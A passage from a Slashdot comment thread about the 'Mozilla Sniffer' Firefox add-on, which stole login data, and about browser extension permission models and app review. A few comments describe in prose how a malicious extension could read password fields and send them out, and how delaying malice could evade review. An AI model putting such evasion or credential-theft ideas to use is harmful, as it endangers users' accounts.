      Is there? Apple's review process doesn't demand source(and, given the review volume, there is Absolutely. No. Way they would be giving proper attention to detecting subtle malice, even if they did). The review process seems to be reasonably good at weeding out applications that crash horribly often enough that the reviewer will run into a crash, which blatantly violate the rules, which seem likely to be fodder for stories that will tarnish Apple's PR, or which "duplicate" some feature that exists or is on Apple's secret roadmap. It has also been rumored that they have some sort of static analysis tool to detect use of private APIs.

      Nothing in that process would detect any but the most blatantly unsubtle malice(and, given that reviews tend to occur fairly quickly, something as simple as recording the date of first run, and not doing anything evil until 1 month has passed would probably count as "subtle" for the purposes of this exercise).

      If malice is detected by a third party, or by some after-the-fact spot-check; both Apple and Android have practically identical capabilities to "unpublish and remove" an application from any device that hasn't been divorced from the mothership. For that matter, Mozilla can also issue FF updates that disable add-ons(as they did a while back for that MS .NET one, and as they have announced they will do here).

    2. Re:It was bound to happen eventually.. by RivenAleem · · Score: 1

      What parallel? There's no chance of people who already have this add-on having it magically taken away from them. You know, we gotta protect people's rights and leave them vulnerable to this add-on and all...

    3. Re:It was bound to happen eventually.. by Anonymous Coward · · Score: 0

      Apple does not review the code of the application in the app store so I'm not sure what you're on about.

    4. Re:It was bound to happen eventually.. by Anonymous Coward · · Score: 0

      Nothing of the sort. Apple do not analyse the functionality of something in their repository, they merely look at the toolkit, whether there's any sexual content, plus the instant rejection of anything using something remotely close to apple's trademarks.

    5. Re:It was bound to happen eventually.. by thoromyr · · Score: 1

      ah yes, you brought them out (though you aren't modded troll at the moment). Seems people can't grasp the basic conceptual difference: open versus closed market place, only able to yammer that "apple doesn't see the source". Ah well.

    6. Re:It was bound to happen eventually.. by StayFrosty · · Score: 1

      Actually, you should be moderated offtopic for pointing them out in this story.

      --
      "Frequently wrong, never in doubt."
    7. Re:It was bound to happen eventually.. by Paradise+Pete · · Score: 1

      There's no chance of people who already have this add-on having it magically taken away from them.

      From TFA: "Mozilla will be automatically disabling the add-on for anyone who has downloaded and installed it."

    8. Re:It was bound to happen eventually.. by evuraan · · Score: 1

      unless its another browser competing with safari? like say, firefox for iphone!

    9. Re:It was bound to happen eventually.. by jorgevillalobos · · Score: 1

      Agreed. I think Apple's model is more about reliance on a very restrictive API that doesn't even enable you to do anything malicious. Firefox and other Mozilla applications, on the other hand, offer an open platform where you're allowed to do anything, good or bad. This is why it's so important to have a strict security review process, and why we're tightening it in the future.

  5. Informative article by Cathoderoytube · · Score: 4, Informative

    Good job not actually telling the name of the offending plugin in the article blurb there. 'A new severe bug in mozilla is allowing hooligans to steal your passwords. But we won't tell you which one until after the break!'

    --
    I have nothing compelling to say
    1. Re:Informative article by Anonymous Coward · · Score: 1, Informative

      RTFT.

    2. Re:Informative article by elrous0 · · Score: 1

      Crazed gunman shooting up local mall...We'll tell you where after these messages for our sponsors.

      --
      SJW: Someone who has run out of real oppression, and has to fake it.
    3. Re:Informative article by renrutal · · Score: 5, Informative
      From TFA:

      An add-on called “Mozilla Sniffer” was uploaded on June 6th to addons.mozilla.org. It was discovered that this add-on contains code that intercepts login data submitted to any website, and sends this data to a remote location. Upon discovery on July 12th, the add-on was disabled and added to the blocklist, which will prompt the add-on to be uninstalled for all current users.

    4. Re:Informative article by Anonymous Coward · · Score: 0

      The name of the plug in is Mozilla Sniffer, which is part of the title.

    5. Re:Informative article by elrous0 · · Score: 1

      The title doesn't make this very clear. Aside from capitalizing the name, you would never know that was actually the name of the add-on. GP was right, it should have been named in the summary.

      --
      SJW: Someone who has run out of real oppression, and has to fake it.
    6. Re:Informative article by Anonymous Coward · · Score: 0

      So people do install a plugin named like that? Wonderful. :)

    7. Re:Informative article by Fumus · · Score: 1

      As per above. Someone downmod the OP and give some points to the AC.

    8. Re:Informative article by cdrudge · · Score: 2, Insightful

      Would it have been so hard to have written "Mozilla pulled one of their Firefox add-ons, Mozilla Sniffer, earlier this week..." in the summary though.? Most of the people here have a hard enough time reading the summary, let alone the actual article linked to.

    9. Re:Informative article by idontgno · · Score: 1

      Click The Fine Linky. Hell, it's Netcraft, so it's probably good reading anyway.

      Oh, right, /. Where "tl;dr" is a way of life.

      --
      Welcome to the Panopticon. Used to be a prison, now it's your home.
    10. Re:Informative article by Monkeedude1212 · · Score: 2, Funny

      “Mozilla Sniffer”

      Seriously?

      With the evil and nefarious scheme of stealing login info, this was their best attempt at hiding the true nature of the add-on?

    11. Re:Informative article by stephanruby · · Score: 2, Informative

      That may because telling you the name was only half of the issue. The name of the plugin was 'Mozilla Sniffer', but the real name you should hunt down is 'Tamper Data' to make sure you get rid of this thing (not that the makers of the popular 'Tamper Data' extension did anything wrong, it was just that 'Mozilla Sniffer' was disguising itself as 'Tamper Data' by using its uuid and inserting the malicious part of its code into the 'Tamper Data' folder).

    12. Re:Informative article by stephanruby · · Score: 3, Insightful

      It was portraying itself as a security extension. If you think about it, that makes sense. Most anti-virus packages give you so many false positives flagging all the legitimate network tools, security tools, debugging tools, etc, that you're installing on your machine. You tend to disregard those warnings yourself when you know you're installing a security tool.

    13. Re:Informative article by Anonymous Coward · · Score: 0

      Crazed gunman shooting up local mall...We'll tell you where after these messages for our sponsors.

      Reminds me of 9/11. Turn on the TV, talking heads blathering, blathering, blathering about fire and planes and airports. I change channels. More talking heads blathering about fire and planes and airports. I can't make heads or tails of it until finally some talking head has the presence of mind to say the World Trade Center has been attacked.

    14. Re:Informative article by ndixon · · Score: 1

      If only they'd called it "Fluffy Kittens Tab Prettifier" they'd have got away with it completely undetected.

      --
      Oh, how convenient: a theory about God that doesn't involve looking through a telescope.
    15. Re:Informative article by camperdave · · Score: 1

      I thought the Tamper Data plug-in was for recording information about ground compacting equipment.

      --
      When our name is on the back of your car, we're behind you all the way!
    16. Re:Informative article by stephanruby · · Score: 1

      I thought the Tamper Data plug-in was for recording information about ground compacting equipment.

      I feel for you. Nobody has ever gotten my jokes either.

    17. Re:Informative article by camperdave · · Score: 1

      Yeah. You've got to get it in at just the right time. Too deep in the thread and most people don't see it. Too many new stories in front... ditto. Interestingly, I was going to include a link to a photo of a tamper, but google's results are full of these. Not knowing what they were, I did a bit of research. They're used to compress the coffee when making espresso. So they're both examples of ground compacting equipment: one dirt, and the other coffee grounds. By leaving the picture out, that phrase could be taken either way. All the elitist pavers who read slashdot would be rolling on the floor over my post, awed by my wit. Alas, neither of them had mod points.

      --
      When our name is on the back of your car, we're behind you all the way!
  6. wait, add-ons don't have a permissions model? by FuckingNickName · · Score: 5, Insightful

    Do you mean to say that, when I install a Firefox add-on, Firefox won't give a list of requested privileges? Why has it taken 30 years for people who think in Unix security terms to not catch up to the VMS "fine-grained privileges to executables for users" security model?

    The whole regular user / root thing is awful. Microsoft is still doing it wrong because, while the NT kernel may approach the right idea, it builds atop it a mess of get-out-of-jail-free paths.

    It's not impossible.

    (1) By default, allow nothing;

    (2) Never allow everything - require software to specify exactly what it needs;

    (3) Classify permissions so the user is alerted more violently for more risky permissions - this may depend on the circumstances (e.g. a browser add-on usually shouldn't be asking for the same sort of privileges as backup software);

    (4) Software which needs an unusually privileged environment may benefit from auditing and signing, but never make this compulsory because this pisses off everyone;

    (5) But, by default, refuse in such circumstances and indicate why. The user needs to make a conscious effort to override a reasonable set of auto-refusal defaults;

    (6) Distinguish explicitly between once, occasional, time-limited and forever permissions. To take a particularly insidious example: iPhones ask if you want to give permission for your app to read your GPS location. This isn't permission for the next 15 minuts or day; it's permission forever. That is wrong. Looked at from the other end, don't do a Vista and ask every time. This is worse than not asking at all.

    More thoughts, guise?

    1. Re:wait, add-ons don't have a permissions model? by hedwards · · Score: 1

      That's in some respects similar to what Google does with Android. While they don't allow you to choose, they did set up the virtual machine to tell you what the app was able to do so that you could get a quick yea or nay on it. And not auto updating if the capabilities changed.

    2. Re:wait, add-ons don't have a permissions model? by Anonymous Coward · · Score: 0

      Chromes the only thing I use with this model. And it's fairly basic;

    3. Re:wait, add-ons don't have a permissions model? by Anonymous Coward · · Score: 0

      The average user just clicks the OK button, regardless of what warning text you show.

    4. Re:wait, add-ons don't have a permissions model? by Anonymous Coward · · Score: 0

      Great plan, easily foiled by greasemonkey... The binary can be squeaky clean, you only need to drop a malicious JS in there... There are enough add-ons that may later add more functionality or content, how will you check that content again? Especially auto-updating-content or feed-ish add-ons are impossible to secure without some rigidly totalitarian rotten Apple rules...

    5. Re:wait, add-ons don't have a permissions model? by bunratty · · Score: 1

      This is part of the reason to switch to the new Jetpack extension API from the old JavaScript code soup extension model.

      From the Jetpack FAQ:

      The Jetpack SDK lets you write add-ons that run in Firefox, Firefox Mobile, and as stand-alone applications using only the familiar technologies of the Web (HTML, Javascript, and CSS). Your add-ons will be faster to code and debug, easier to maintain, and more stable due to the extensible code library and the instant save-refresh development cycle. Your add-ons will also enjoy a stronger, more understandable security model that will keep your users safe.

      --
      What a fool believes, he sees, no wise man has the power to reason away.
    6. Re:wait, add-ons don't have a permissions model? by fuzzyfuzzyfungus · · Score: 4, Interesting

      I think the basic problem is that the nature of the browser makes it pretty difficult to create permission sets that usefully control behavior.

      In this case, for instance, the extension was explicitly stated to be(and, as I understand it, was) an extension for examining and modifying HTTP/HTTPS headers, including stuff like GET requests, and the like. Because it was malicious, it was, in addition to whatever modifications the user was making, also issuing a separate little request of its own, with the contents of form fields, to an IP controlled by the author.

      You could, on a permissions basis, do things like segregate "extensions that modify browser chrome and only browser chrome" and prevent them from modifying pages at all, and you certainly can(and should) draw a line between "extensions that muck about with pages" and "Extensions that do stuff to the local filesystem"; but given that most of the useful extensions tend to muck around with webpages themselves, that introduces a very difficult security problem.

      With conventional permissions setups, you are applying permissions to a set of objects(usually files; but can also be database values, APIs, etc.) that you created and thus know the sensitivity of. A webpage, though, is a collection of objects that some third party created. Unless you have some very clever ideas about how to parse a webpage and automatically categorize the "sensitivity" of various parts of it, it is virtually impossible to meaningfully assign a permissions structure to it. An extension rewrites a script on a webpage: is it making the user more secure(by preventing doubleclick from learning something)? is it making the user less secure(by diverting information to a malicious host)?

      Fine grained permissions are a good thing; but you really can't create a useful permissions system(no matter how well designed and granular it may be), if you have no useful way of knowing how valuable the various resources to which you are allowing/denying/conditionally allowing access are. Since web browsers do most of their useful work on masses of objects provided by third parties(currently without any sort of value metadata, and even if there were an adopted standard for providing such, 3rd party value judgments still wouldn't be at all trustworthy.) it is a really hard problem to build a permissions model that is actually useful rather than merely strict.

    7. Re:wait, add-ons don't have a permissions model? by MORB · · Score: 1

      And (unsurprisingly) Chrome handles extension permissions like this as well.

    8. Re:wait, add-ons don't have a permissions model? by Karellen · · Score: 5, Insightful

      I have a feeling that the Mozilla guys don't think in Unix security terms. Mozilla/Firefox is targetted more heavily towards Windows than Linux, and it shows in a lot of places that a lot of the developers think that way too.

      e.g. The use/implementation of "profiles", which are a work-around to the problem of running on a system that does not support multiple user accounts (well), or where it is expected that multiple users use the same user account. Last I used Mozilla and Firefox on Windows, these were still pretty prominent. They're also included in Unix-based builds, where they're mostly pointless, instead of being IFDEFed out by default on those platforms.

      See also the automatic updater. This is required on Windows, which does not have a centralised update system for 3rd party apps, and assumes each user will install their own copy of the software, or will have write privs to system software locations, or will have the Administrator password. It's redundant and useless on most Unices/Linux distros, but the code is still included by default.

      It also prefers to bundle its own copies of 3rd party libraries, common practice on Windows where dependency handling doesn't exist, and 3rd parties generally do not bother to try to maintain backwards ABI compatibility between DLLs. Again this is contrary to the Unix way of doing things, where dependencies are well defined, and library authors take pains to ensure backwards-compatible ABIs. But still Mozilla software ships private copies of 3rd party libraries by default on Unix.

      Mozilla software appears to be primarily written for Windows by Windows-based developers. Yes, it does work on Unix/Linux systems, but that's not how the developers think, and it shows.

      --
      Why doesn't the gene pool have a life guard?
    9. Re:wait, add-ons don't have a permissions model? by tlhIngan · · Score: 1

      e.g. The use/implementation of "profiles", which are a work-around to the problem of running on a system that does not support multiple user accounts (well), or where it is expected that multiple users use the same user account. Last I used Mozilla and Firefox on Windows, these were still pretty prominent. They're also included in Unix-based builds, where they're mostly pointless, instead of being IFDEFed out by default on those platforms.

      Profiles are incredibly useful on any platform. I have three profiles in my configuration (Windows, yeah, but it's not specific to Windows). First is my generic profile I use for all day-to-day surfing. Second is a profile for certain websites (like eBay) whose coders are so inept that leaving an ebay tab open is a surefire way to require restarting Firefox daily. Or to separate out the myriad of eBay bookmarks for various searches (because the UI keeps getting worse and worse and worse to be unusable) so they don't clutter my bookmark bar or bookmark list.

      Then I have a third profile that I use for testing stuff, mostly moving profiles around (I wish I could share a profile among several computers, or the like).

      Sure I can make new users, but that seems like a really awkward way of having effectively multiple sets of configurations for programs. And besides, by default Firefox doesn't bring up the profile manager, so most people don't see it. I'm also sure web developers use it extensively so if it crashes, it crashes that one profile, not take down their entire browsing session.

      See also the automatic updater. This is required on Windows, which does not have a centralised update system for 3rd party apps, and assumes each user will install their own copy of the software, or will have write privs to system software locations, or will have the Administrator password. It's redundant and useless on most Unices/Linux distros, but the code is still included by default.

      True, but if your distro includes an older version or is slow at providing updates or just doesn't provide it at all, it's certainly a handy way of keeping Firefox updated even if your distribution doesn't.

      It also prefers to bundle its own copies of 3rd party libraries, common practice on Windows where dependency handling doesn't exist, and 3rd parties generally do not bother to try to maintain backwards ABI compatibility between DLLs. Again this is contrary to the Unix way of doing things, where dependencies are well defined, and library authors take pains to ensure backwards-compatible ABIs. But still Mozilla software ships private copies of 3rd party libraries by default on Unix.

      True, but for any large software project, this tends to happen as differing versions of various dependencies start getting in the way of development. Try building Android on Ubuntu 10.04, for example - it requires a bit of hacking in order to get the requisite JDK 1.5 installed (EOL'd - but 1.6 doesn't work if you go by the documentation). Sure you can get OpenJDK (which does work) but if you come across a bug, it means more time spent seeing if it's a JDK bug or an Android bug.

      This is especially true on Linux, where your package manager may not provide the requisite software for whatever reason, which then gets you into compiling code just to satisfy the dependency and all the hassles that entails. (Remember RPM dependency hell? Now imagine it where half the RPMs are missing and you have to compile the missing bits yourself, which have other dependencies...).

      If you stick with Ubuntu, Debian or Fedora, sure, no problem, it's easy. But Linux is more than the big distros, and getting specific versions of libraries that may not be present gets annoying, quick.

    10. Re:wait, add-ons don't have a permissions model? by Thundersnatch · · Score: 1

      running on a system that does not support multiple user accounts (well)

      1996 called. They want their anti-Microsoft rant back. This hasn't been true since NT 3.5.1 was released. The NT series of the Windows operating system has always supported multiple users very well (I would say better than *nix-like systems because of the more robust ACL model). End-user applications, on the other hand, have in the past not supported multiple users well (e.g. sticking configuration in %WINDIR% or HKEY_LOCAL_MACHINE instead of per-user locations) .

    11. Re:wait, add-ons don't have a permissions model? by Karellen · · Score: 1

      Sorry, I didn't mean to imply that I thought Windows doesn't currently support mulitple users well. Rather, that when Mozilla was first developed, the lack of good multi-user support in the versions of Windows in wide use at that time was the reason why profiles were initially developed.

      --
      Why doesn't the gene pool have a life guard?
    12. Re:wait, add-ons don't have a permissions model? by Karellen · · Score: 1

      Sure I can make new users,

      Or, you could just create ~/.mozilla-standard/, ~/.mozilla-ebay/ and ~/.mozilla-testing/, and point a ~/.mozilla symlink at whichever profile you want to use, like you can do for ... any other program at all. Again making the "profiles" feature completely redundant on Unix-like systems.

      if your distro includes an older version or is slow at providing updates or just doesn't provide it at all,

      If your distro is like this with security updates for any package, not just Firefox, you should probably get a new distro. Seriously.

      Remember RPM dependency hell?

      Actually, no. Been a happy user of Debian for many years now. :-p

      Linux is more than the big distros, and getting specific versions of libraries that may not be present gets annoying, quick.

      Hmmm....you're claiming that there are large, important Linux apps which rely on specific versions of libraries, and not version "x.y or later"? i.e. They're not just relying on binary ABI backwards-compatbility, but source-level API backwards-compatibility, and fail if the exact version is not present? Really? I've not come across that in quite a while. (Although fortunately I've not had to deal with Java that much.)

      --
      Why doesn't the gene pool have a life guard?
    13. Re:wait, add-ons don't have a permissions model? by ratboy666 · · Score: 1

      Why isn't it possible?

      It is possible to define such a thing. Quick example (off the top of my head):

      Permission to modify headers - which headers
      Permission to send request - originating IP, domain, other domain
      Permission to modify web page - content, meta-content, scripts
      Permission to access local store - read/write, and how much
      Permission to use ports - port, read/write, and how much
      Permission to execute local programs - which ones
      Permission to modify local GUI - window, menu, status, button-bar

      Default: NONE. Extension must pre-declare intent to use resources. Web pages are NOT allowed to do any of these things, anyway, and may only execute scripts if allowed (NoScript should be built-in). With several exceptions. mailto:// URLs should be permitted, perhaps telnet://.

      Note that the permissions for an extension are NOT the permissions needed for Web pages. The extension would be modified to make a permission request call. Since additional permissions may be added in future, you may want to implement a permission grant repository (which would then be the weak link) which can be user modified to grant future permissions, or to grant permissions to extensions that do not make the request call.

      Just sayin'

      --
      Just another "Cubible(sic) Joe" 2 17 3061
    14. Re:wait, add-ons don't have a permissions model? by fuzzyfuzzyfungus · · Score: 2, Interesting

      Oh, it's eminently possible, from the architectural perspective of assigning ACLS and default-denies to all kinds of things(heck, you could assign ACLs to every DOM element of every page you load, per-domain control over all kinds of things and so forth.) It might be a chore technologically; but that part is entirely doable.

      What I'm saying is that, because it is extremely difficult to know what elements of an arbitrary 3rd party webpage are sensitive, and what elements aren't, attempting to apply a meaningful permissions scheme to extensions that modify web pages is difficult or impossible in practice(unless you are willing to accept amounts of permission confirmation windows that would make a hardened noscript user cry).

      Control over local program execution, local filesystem access, and local GUI are all quite doable; because those all consist of easily knowable, and known, sets of objects.

      The trouble, is with web pages:

      "Permission to modify headers- which headers" Ok, this wouldn't be too bad for some site-specific anti-nuisance plugin(assuming the site's design doesn't change unexpectedly, and break the plugin, or change frequently and habituate the user to accepting any demand for changes a plugin makes); but it doesn't help you too much for site-generic plugins(like the security testing tool in TFA, whose features pretty much include "modify any header on any site, at the user's direction" and secretly included a silent added header.)

      Worse, since a fair few pages, in our Web 2.0 age, do a lot of sending and receiving on their own behalf, much of it script driven. This would mean that, in effect, on many domains, permission to modify scripts would imply permission to communicate more or less arbitrarily, just by making the web page communicate for you.

      The other problem, with something like a web page, is that the line between "content"(HTML) "style"(CSS), and "scripts"(JS) might be fairly bright programmatically, in terms of the visual result that the user ends up interacting with, it gets pretty fuzzy. Even assuming freedom from sanitization failures and injection attacks, a malicious program that can "just" manipulate the CSS can pull some pretty crazy stunts with a fair few web pages. Now, there is nothing stopping you from having privilege granularity going all the way down to individual CSS elements(or even relationships between elements, say to keep a malicious extension from hiding foreground text by making it the same color as the background); but that would mean that any user would have to be a reasonably serious web developer just to comprehend the permissions list, much less know what is dangerous and what isn't.

    15. Re:wait, add-ons don't have a permissions model? by Anonymous Coward · · Score: 0

      Actually, it seems like most of your complaints are about distributors not doing their job. All these things are distro-specific (you can't expect Mozilla to ifdef out profiles & automatic updates for all Unixes or even just linux - what happens if I install Firefox on my custom-built flavour of Linux?). Same with the 3rd party libraries - it's great when the OS you're running on has them, but what do you do if it doesn't? What it should be doing is installing those libraries into system paths. However, from the ease-of-administration & ease-of-use for end-users, what the'yre doing isn't terrible - I don't have to go searching the root files for all files that Mozilla added/modified and instead can just blow away a single directory. It's not terribly wrong if you don't want to actually maintain a linux packager format (you could make .rpm but then all the debian/ubuntu people woud grumble that there's no .deb).

      This is Ubuntu's/Fedora's/SUSE's problem. Mozilla shipping this stuff is fine. What you are asking for is that they also make packages for your favourite distribution, which may not be unreasonable, but is certainly a different problem than claiming they don't understand how to code for the Unix model. I don't know if they do or don't, but the examples you've given are not evidence of that; they are simply evidence of you not being happy with your distribution's packaging of it.

    16. Re:wait, add-ons don't have a permissions model? by Anonymous Coward · · Score: 0

      One additional thing - allow the user to specify what permissions they're granting to the software. The Android security model has its good points, but say that I'm installing a program that has some obscure feature that requires access to my GPS location. I don't want that feature. I should be able to deny GPS location data to that program, rather than simply granting it everything it asked for. Making the program fail gracefully if I then try to use that feature is another burden on the developer, but not an onerous one, and if a significant fraction of people are controlling their permissions in this way, then the developer will be forced to do it.

    17. Re:wait, add-ons don't have a permissions model? by sgtrock · · Score: 1

      Do you mean to say that, when I install a Firefox add-on, Firefox won't give a list of requested privileges? Why has it taken 30 years for people who think in Unix security terms to not catch up to the VMS "fine-grained privileges to executables for users" security model?

      The whole regular user / root thing is awful.

      While the rest of your post is pretty good, the above shows a great deal of ignorance about how the Unix security model works. Please spend a bit of time looking into groups, permissions, PAM, etc. before making such broad statements.

      P.S. I agree that the VMS model was really nice from a sysadmin's point of view. As a former VMS/Unix sysadmin myself, I also know it was a major PITA for anyone who had a job that changed scope frequently. I can't imagine how you'd successfully implement it in a consumer friendly way.

    18. Re:wait, add-ons don't have a permissions model? by Anonymous Coward · · Score: 0

      While I agree, it really wouldn't stop this. Plenty of extensions legitly need DOM access - Without it, they're not really going to interact with your browser at all. An extension asking for DOM access is nothing to be afraid of and nothing you would block.

      Once an extension has DOM access, it has everything it needs to check if document.location is in a list of websites it cares about, then read the password fields, then create aan XMLHTTPRequest in the page to submit those values to whoever created the addon.

      Theres really not any good way to break it down deeper than that. The only possible way I could think of is making DOM writing limitted to some really complex APIs that block certain things, but you'll still likely end up with the equivelent of HTML injection bugs in your api, and the speed hit is something Firefox just cant stand to take.

    19. Re:wait, add-ons don't have a permissions model? by FuckingNickName · · Score: 1

      While the rest of your post is pretty good, the above shows a great deal of ignorance about how the Unix security model works. Please spend a bit of time looking into groups, permissions, PAM, etc. before making such broad statements.

      The traditional Unix security model simply doesn't give the level of control I'm suggesting, whence much Unix software even today choosing the lowest common denominator of temporarily becoming root for anything requiring more than regular user privileges.

      I haven't done any signficant work with PAM, but I don't recall its alone providing an API for fine-grained time-limited access control to IPC/general kernel services. IOW, it's an add-on for Unix software which chooses to use it, but it's not what one thinks of when one talks of the Unix security model.

      SELinux does go way beyond the traditional model but it's a royal pain to get distributors/developers/users moved over to thinking in its terms. It's not helped that - for whatever reason - genuinely skilled security types are almost universally bad at making accessible interfaces and documentation.

      As a former VMS/Unix sysadmin myself, I also know it was a major PITA for anyone who had a job that changed scope frequently. I can't imagine how you'd successfully implement it in a consumer friendly way.

      This isn't an org sysadmin granting privileges to users, it's a user granting privileges to apps. Apps tend not to change their scope so frequently.

      Ideally[tm] all data collected by a web page using a client machine is, as others have suggested, tagged with a level of importance. As the data passes through the browser it can be walled off from any apps which are not given permission to see that class of data. For example, a default for any data collected in an input type="password" entry to be regarded as a login which requires third party password collection privilege to find its way into any other app, whether that's by keystroke listeners or login db readers.

    20. Re:wait, add-ons don't have a permissions model? by Chapter80 · · Score: 1

      How about:

      Require the user to do something more drastic for more dangerous approvals (as determined by a) the level of security being requested, b) whether it's a permanent or one-time request, c) whether it's signed.

      Pressing OK in all cases doesn't seem to be the answer.
      Providing root password (as Linux does) isn't bad for more risky requests.

      I have required users to key in the word "irreversible" in the past, as a drastic step to make sure they understood that the action they were about to take was permanent. That works better than just popping up the standard "OK" button.

    21. Re:wait, add-ons don't have a permissions model? by harmonise · · Score: 1

      e.g. The use/implementation of "profiles", which are a work-around to the problem of running on a system that does not support multiple user accounts

      I'm glad the profiles are enabled the way that they are. I have several Firefox profile that I use for different types of browsing:

      1. The default profile for my everyday browsing needs
      2. My school profile which I used while at university and still use when I need to do research
      3. Finance profile which has no add-ons and is only used to go to my bank's web site
      4. A web development profile which has a bunch of web development add-ons installed and little else.
      5. A test profile which is used for trying out new add-ons before I add them to one of the other profiles

      Each profile is set up differently with different bookmarks, add-ons, and general configuration. For example, I use Zotero for collecting research information in my school profile, but I don't need that add-on in my default profile.

      I'd hate to have to log out of my session and log in as another user just to change my web browser's environment.

      --
      Cory Doctorow talking about cloud computing makes as much sense as George W Bush talking about electrical engineering.
    22. Re:wait, add-ons don't have a permissions model? by ben+there... · · Score: 1

      Or, you could just create ~/.mozilla-standard/, ~/.mozilla-ebay/ and ~/.mozilla-testing/, and point a ~/.mozilla symlink at whichever profile you want to use, like you can do for ... any other program at all. Again making the "profiles" feature completely redundant on Unix-like systems.

      Are you seriously suggesting altering a symlink every time you want to run a different session? Nevermind that it wouldn't work if you wanted to run 2 different profiles at once.

      Profiles are immensely helpful if you have 2 logins (say to all of Google's services) and want to use both at the same time. Separate search histories, separate Gmail accounts, etc etc. All running at the same time in 2 different windows. Use different themes to tell them apart.

    23. Re:wait, add-ons don't have a permissions model? by jorgevillalobos · · Score: 1

      The Security Announcement on the first link explains how the add-on hadn't gone through the code review and it was labelled as such. Granted, many users will just ignore all warnings and install anyway, which is why we're changing the security model to make even experimental add-ons go through code review before they are discoverable.

      Updates are only pushed for add-ons that have already been approved, and only after the updates have been code reviewed.

    24. Re:wait, add-ons don't have a permissions model? by Karellen · · Score: 1

      Are you seriously suggesting altering a symlink every time you want to run a different session?

      If you want. Or you could write a 2 line shell script in your ~/bin for each profile to set the symlink and then run the actual program.

      Nevermind that it wouldn't work if you wanted to run 2 different profiles at once.

      Ah, I didn't realise you could do that with Firefox. I thought if you tried running a new instance it just noticed that one copy of FF was already running and opened a new window for that executable (which is another non-unixy way of doing things, but never mind...) with all the same settings.

      No, in that case, that particular solution wouldn't work. Good catch. My bad.

      Profiles are immensely helpful if you have 2 logins (say to all of Google's services) and want to use both at the same time.

      OK, so this may sound like a silly question, but why would you want to do this? What's your use case? And is the lack of alternate profiles in other browsers something that would prevent you from moving to, e.g. Opera, or Safari, or even IE8/9?

      --
      Why doesn't the gene pool have a life guard?
    25. Re:wait, add-ons don't have a permissions model? by Karellen · · Score: 1

      you can't expect Mozilla to ifdef out profiles & automatic updates for all Unixes

      I'd expect all of my points to be excluded *by default* in a Unix build. Yes, Unix vendors/distros (or, more probably, users) should be able to enable and build these features if they really want, but they just don't fit in with "the unix way". Which is my point.

      What you are asking for is that they also make packages for your favourite distribution

      No, I'm not! I shudder at the thought of 3rd parties trying to make Debian packages. Some 3rd parties do sometimes, and they're invariably a complete mess with all kinds of horror in the "postinst" scripts, or other such nastiness. I'm very happy with DDs doing the Debian packaging. (Thank you Mike Hommey!) I'm very happy with Unix vendors doing things the way they are used to doing them. I'm just pointing out that, as far as I can tell, the Mozilla devs don't seem to "get" this very well.

      --
      Why doesn't the gene pool have a life guard?
    26. Re:wait, add-ons don't have a permissions model? by Anonymous Coward · · Score: 0

      But the non-average user doesn't, and informs everyone that it's evil and it gets deleted almost instantly.

    27. Re:wait, add-ons don't have a permissions model? by exomondo · · Score: 1

      (3) Classify permissions so the user is alerted more violently for more risky permissions - this may depend on the circumstances (e.g. a browser add-on usually shouldn't be asking for the same sort of privileges as backup software);

      So the user has to not only understand the permissions levels of the OS but each set of permissions defined by each software package, and subsequently each addon for that software package, and so on...

      The backlash on the annoyance of UAC is proof enough that users don't want this sort of fine-grained privilege security, as secure an implementation of permissions that it is most end users would just turn off notifications and go for a 'yes to all'.

    28. Re:wait, add-ons don't have a permissions model? by FuckingNickName · · Score: 1

      The backlash on the annoyance of UAC is proof enough that users don't want this sort of fine-grained privilege security, as secure an implementation of permissions that it is most end users would just turn off notifications and go for a 'yes to all'.

      I thought that one of the worst things about UAC was its not explaining in layman's terms what privilege was needed. "Cancel/Allow?" just sitting there means nothing. Contrast:

      OstensibleToy wants:

      • Access to your database of site passwords. This may include banking and other sensitive sites.
      • To capture and record information you type into any web site. This may include passwords, personal conversations and business transactions.

      The author of OstensibleToy will have full access to information gathered. Do you trust him/her?
      ---
      Type TRUST to indicate your trust. A list of trust relationships and an opportunity to revoke them is available from Tools/Trust.

    29. Re:wait, add-ons don't have a permissions model? by sgtrock · · Score: 1

      The traditional Unix security model simply doesn't give the level of control I'm suggesting, whence much Unix software even today choosing the lowest common denominator of temporarily becoming root for anything requiring more than regular user privileges.

      SELinux does go way beyond the traditional model but it's a royal pain to get distributors/developers/users moved over to thinking in its terms. It's not helped that - for whatever reason - genuinely skilled security types are almost universally bad at making accessible interfaces and documentation.

      Well, for systemwide installations you pretty much have to grant root (or its equivalent) on any OS. Everything else can generally be handled by appropriate group and permissions assignments. (Granted, that assumes appropriate group configuration in the first place.) What other example are you thinking about?

      BTW, SELinux tends to be avoided not because people can't think in its terms, but because configuring it correctly is nearly impossible for mere mortals and still difficult for security specialists.

      This isn't an org sysadmin granting privileges to users, it's a user granting privileges to apps. Apps tend not to change their scope so frequently.

      Ideally[tm] all data collected by a web page using a client machine is, as others have suggested, tagged with a level of importance. As the data passes through the browser it can be walled off from any apps which are not given permission to see that class of data. For example, a default for any data collected in an input type="password" entry to be regarded as a login which requires third party password collection privilege to find its way into any other app, whether that's by keystroke listeners or login db readers.

      IOW, buidling off something like Firestarter for all apps? That, I agree, would be great to have.

  7. next time use better typos/mistakes by Anonymous Coward · · Score: 0

    This guy is a native English speaker with a good education and almost surely a security professional trying to see how far he can get.
    The typos he has NOT made give it away, among other clues:
    (1) "it's" is always correctly used
    (2) looks like he deliberately added plurals making it look as though his English is poor
    (3) John "Devid"
    (4) "check it out"
    (5) "don't" is correct
    (6) no other spelling characteristic Eastern European mistakes

    Just my opinion, I could be wrong.

    1. Re:next time use better typos/mistakes by troll8901 · · Score: 0, Redundant

      The typos he has NOT made give it away, among other clues:

      Perhaps the first few words' proper capitalization, and the clean layout, and pastel background, gave us a positive first impression.

      I'm reading way too much into this. Someone, please mod this post redundant.

  8. That's what you get... by The+MAZZTer · · Score: 0, Redundant

    .. when you install an unverified, experimental Firefox extension from an untrusted author! Firefox extensions are great because of their power to affect the entire browser and even the host computer, which is what made Firefox popular IMO. But this comes with obvious risks you shouldn't ignore!

    1. Re:That's what you get... by Anonymous Coward · · Score: 0

      Run Firefox as another user. Won't save your passwords, but it'll save your files. http://calum.org/posts/running-firefox-as-another-user-using-sudo

    2. Re:That's what you get... by Anonymous Coward · · Score: 0

      "With great power comes great responsibilites" ?

      matter is : most users don't understand the amount of power they are given.

    3. Re:That's what you get... by Rockoon · · Score: 1

      ActiveX components are great because of their power to effect the browser and even the host computer!

      --
      "His name was James Damore."
  9. It was experimental, warnings were there by Coopjust · · Score: 4, Informative
